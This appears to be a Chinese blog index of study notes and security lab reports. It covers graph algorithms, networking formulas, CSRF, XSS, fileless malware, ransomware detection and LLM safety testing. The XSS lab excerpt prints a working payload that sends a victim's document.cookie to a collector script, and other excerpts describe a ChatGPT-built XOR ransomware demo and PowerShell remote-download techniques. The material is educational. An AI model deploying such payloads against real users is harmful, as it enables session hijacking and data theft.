Floyd-Warshall 算法核心思想与考研重点
Floyd-Warshall（弗洛伊德）算法 考研笔记一、算法概述1.1 核心思想Floyd算法是一种多源最短路径算法，基于动态规划思想，用于求解图中任意两个顶点之间的最短路径。 核心原理： 通过逐次引入每个顶点 k 作为”中间节点”，不断更新所有顶点对 (i, j) 之间的最短路径长度。 状态转移： 初始状态 D⁰： 只允许直接路径（邻接矩阵） 第k次迭代 Dᵏ： D$i$$j$ 表示从 i 到 j 只允许经过集合 {1, 2, …, k} 中的顶点作为中间节点的最短路径长度 最终状态 Dⁿ： 任意两点间的最短路径值 1.2 算法特点 特性 描述 算法类型 多源最短路径，动态规划 时间复杂度 O(V³)，三层循环 空间复杂度 O(V²)，需存储距离矩阵和路径矩阵 适用图 有向图、无向图均可 权值限制 可处理负权边，但不能处理负权环 优点 代码简洁，一次运行得到所有顶点对最短路径 缺点 时间复杂度高，不适合顶点数很多的图 二、算法步骤详解2.1 第一步：初始化邻接矩阵建议： 在每个元素下方添加角标（便于路径追溯） 初始角标格式： ...
计算机网络与数据结构考研核心公式笔记
计算机网络考研核心公式笔记 (完整汇总版)第一章：概述与基础 速率 (Rate) 单位换算： 1 \text{ kbps} = 10^3 \text{ bps} \quad (k = 10^3) 1 \text{ Mbps} = 10^6 \text{ bps} \quad (M = 10^6) 1 \text{ Gbps} = 10^9 \text{ bps} \quad (G = 10^9) 时延 (Delay) 总时延 (Total Delay): D_{总} = D_{发送} + D_{传播} + D_{处理} + D_{排队} 发送时延 (Transmission Delay)：也称传输时延，是将数据从主机/路由器推向链路所需的时间。 D_{发送} = \frac{\text{数据块长度 (bit)}}{\text{信道带宽 (bit/s)}} 传播时延 (Propagation Delay)：电磁波在信道中传播一定距离所需的时间。 D_{传播} = \frac{\text{信道长度 (m)}}{\text{电磁波在信道上的传播速率 (m/s)}}注：在...
第三次组会汇报：LLM 安全测试与 MCP 封装实践
1. 本次工作内容 OpenAI 兼容接口直连验证：验证了 GET /v1/models 和 POST /v1/chat/completions 基于 garak 的 lmrc 风险评估测试：改造出 One API 版本测试脚本，对 lmrc 子集 probe 进行了实际运行 安全工具链调研：对比分析 cli-anything-yakit、Yakit 官方平台、hexstrike-ai MCP 三者的功能与定位 MCP 封装实践：学习 MCP 协议与 Python SDK（FastMCP），将 cli-anything-yakit 封装为 MCP Server，注册到 Claude Code 2. 测试环境 测试工具：garak v0.14.1 Python 环境：3.11.7（Anaconda） MCP SDK：mcp 1.27.0（需 Python ≥ 3.10） 底层依赖：cli-anything-yakit + Yak gRPC 引擎 3. 主要测试结果3.1 One API 兼容性验证 /v1/models：HTTP 200，接口可用，鉴权正常 /v1/chat/c...
2025 年 953 考研专业课真题与精析
一、 概念与简答题（数据结构与计算机网络）1. 简述二叉排序树（Binary Sort Tree）的相关概念与操作，以及稀疏矩阵的常用压缩存储方式 。 2. 简述局域网的相关特性与工作原理。 3. 简述密码体制中“密钥”的概念 。 4. 在网络寻址中，请比较数据报服务与虚电路服务的异同 相同点： 交换方式： 两者都属于分组交换（Packet Switching）技术，即将长报文拆分成若干个较短的分组进行转发。 资源共享： 都采用动态分配带宽的方式，通过统计时分复用提高线路利用率。 不同点（如下表所示）： 比较维度 数据报服务 (Datagram) 虚电路服务 (Virtual Circuit) 连接性 无连接。发送前无需建立连接。 面向连接。发送前必须建立连接。 目标地址 每个分组携带完整的目标地址。 分组仅携带短小的虚电路号 (VCI)。 路由选择 每个分组独立选择路由。 仅在建立连接时确定路径，后续不变。 分组顺序 不保证按序到达，可能乱序或丢失。 保证分组按发送顺序到达。 节点状态 路由器不维护连接状态（无状态）。 路由器需维护虚电...
Web 安全技术与应用期末复习要点汇总
Web安全技术与应用期末复习资料题型分布 填空题：（2*10） 判断题：（2*10) 问答题：（60) 4/5 复习建议 熟记相关定义的英文缩写及中文名称，确保对各类概念有清晰理解。 第一篇 预备知识项目1 Web 服务器平台安装与配置 原理：搭建一个基本的 Web 服务器平台，包括操作系统 (Windows Server 2008)、Web 服务器 (Apache)、数据库 (MySQL) 和服务器端编程语言 (PHP)。 概念：Web 服务器平台、操作系统、Web 服务器软件、数据库、服务器端编程语言、Web 开发基础 (HTML、CSS、JavaScript、PHP)。 常见服务器操作系统 Windows Server Linux/Unix 主要Web服务器及市场占有率 Apache：47.0% Nginx：37.7% Microsoft IIS：10.0% Apache优势 开源、免费 强大的社区支持 关系型数据库管理系统（RDBMS） Oracle, Microsoft SQL Server, IBM DB2, MySQL, PostgreSQL ...
实验报告：基于机器学习与深度学习的勒索病毒检测研究
实验报告：基于勒索病毒、机器学习和深度学习的恶意程序检测研究实验背景随着信息技术的迅猛发展，计算机病毒的种类和数量不断增加，给信息安全带来了严峻挑战。传统的病毒检测方法主要依赖特征码和启发式分析，但在应对新型和变种病毒时效果有限。机器学习和深度学习作为现代人工智能的重要分支，提供了新的解决方案。恶意程序是网络安全的重要威胁，其中勒索病毒尤为严重，通过加密受害者文件索取赎金。本实验分三个部分： 设计一个简单的勒索病毒Demo，了解恶意程序的基本行为。 利用机器学习方法检测恶意程序。 利用深度学习方法检测并分类恶意程序。 第一部分：勒索病毒Demo设计实验目的利用ChatGPT实现一个勒索病毒的简化模型，模拟文件加密与解密流程，探究恶意程序的行为特征。 技术实现 加密功能： 遍历当前目录及子目录中的所有文件。 使用简单的异或加密算法(XOR)加密文件内容，并将加密后的文件扩展名改为.exe。 删除原始文件，保留加密后的文件。 解密功能： 遍历加密文件，使用相同的XOR解密逻辑还原原始文件。 删除加密文件，恢复文件原始状态。 代码逻辑 文件遍历：使用Windows API...
CSRF 跨站请求伪造攻击原理与防御实践
CSRF攻击与防护1. 背景与原理1.1 CSRF攻击定义 CSRF（Cross Site Request Forgery，跨站请求伪造）是一种利用用户身份权限的攻击方式。 攻击者诱导已登录目标网站的用户访问含有恶意代码的页面，伪造用户的合法请求，执行未授权操作。 1.2 CSRF攻击的原理 浏览器的同源策略允许同源的网页共享Cookie，但攻击者可以利用此策略： 用户登录目标网站后，浏览器保存Cookie。 用户访问恶意页面时，页面中的恶意代码通过伪造请求，利用用户Cookie向目标网站发送恶意请求。 1.3 CSRF攻击的危害 在用户毫不知情的情况下： 窃取用户信息。 未经授权的资金转移。 操作敏感的账户功能。 2. 项目任务概述实验通过创建两个网站（目标网站和攻击网站），模拟CSRF攻击并探讨防护措施。具体任务如下： 建立一个具有用户添加功能的目标网站（存在CSRF漏洞）。 创建一个模拟CSRF攻击的网站。 测试目标网站是否可以被CSRF攻击。 通过HTTP Referer验证和操作确认对话框两种方式防护CSRF攻击。 3. 实验过程3.1 任务1：建...
XSS 跨站攻击与 Cookie 验证欺骗实验
XSS跨站攻击与Cookie验证欺骗实验一、实验目的 研究并实践XSS攻击的原理与实现方式。 实现通过XSS攻击获取网页地址、User-Agent及Cookie的方法。 提交实验代码与报告，验证攻击与防护效果。 二、XSS跨站攻击实现细节1. 基本原理XSS是一种通过注入恶意代码在用户浏览器中执行非授权操作的攻击方式。主要分为： 持久型XSS：恶意代码存储在服务器，能长期触发。 非持久型XSS：恶意代码不存储，依赖特定URL。 2. 利用XSS攻击Cookie验证通过XSS脚本，将目标用户的Cookie发送至攻击者控制的服务器，绕过正常验证实现欺骗。 代码示例：在留言表单中插入： 1<a href="#" onclick="document.location='http://localhost/getsession/savesession.php?cookie='+escape(document.cookie);">Click Me</a> 当管理员点击链接时，document.cook...
无文件病毒（Fileless Malware）原理分析与实操验证
无文件病毒的定义及实践 实验目的 理解无文件病毒的定义及其主要类型。 学习并实践利用NTFS数据流文件创建ADS数据流文件。 使用PowerShell实现远程下载与隐匿执行脚本。 实验环境 操作系统：Windows 10 (支持NTFS文件系统) 工具： 命令提示符 (cmd) PowerShell 记事本 (Notepad) WinHex（用于查看和删除ADS数据流文件） 网络服务器 (用于托管远程脚本) 实验内容1. 无文件病毒的定义及类型无文件病毒定义无文件病毒是指不依赖传统文件形式的恶意代码。它利用内存、注册表、合法系统工具（如PowerShell、CMD、NTFS ADS等）执行其功能，从而规避文件扫描型安全软件。 主要类型： 灰色工具型：使用合法系统工具或组件如PowerShell、注册表、NTFS ADS。 脚本型：使用脚本语言（如VBScript、JavaScript）进行隐匿攻击。 潜伏型：将恶意代码隐匿在注册表、WMI或系统库文件中以长期驻留。 内存型：病毒仅存在于内存中，无磁盘落地，执行后即从内存中移除。 2. NTFS ADS数据流文件创...
Windows Server 故障转移群集搭建与系统安装
故障转移群集搭建与群集系统安装一、实验目的 搭建故障转移群集：实现服务和应用程序的高可用性。 群集系统安装环境设置：掌握搭建环境的配置要求。 二、实验环境 操作环境: Windows Server 2019 SQL Server 2019 实验工具: VMware 三、实验原理故障转移群集故障转移群集通过在多台服务器上部署相同的服务和应用程序，利用监控与自动切换机制，实现单点故障时的服务迁移，提高系统的可用性和容错能力。 群集系统安装环境设置确保以下要求： 服务器之间的网络连接正常。 操作系统兼容并满足群集系统要求。 硬件配置满足最低要求。 主机名和 IP 地址配置正确。 四、实验步骤与分析（调整后）（一）前期准备1. 检查IP配置 节点 Public IP Private IP 群集IP 域名 群集名 Server1 192.168.80.27 10.1.1.2 192.168.80.16 nodeA moyu Server2 192.168.80.32 10.1.1.3 192.168.80.16 nodeB moyu M...
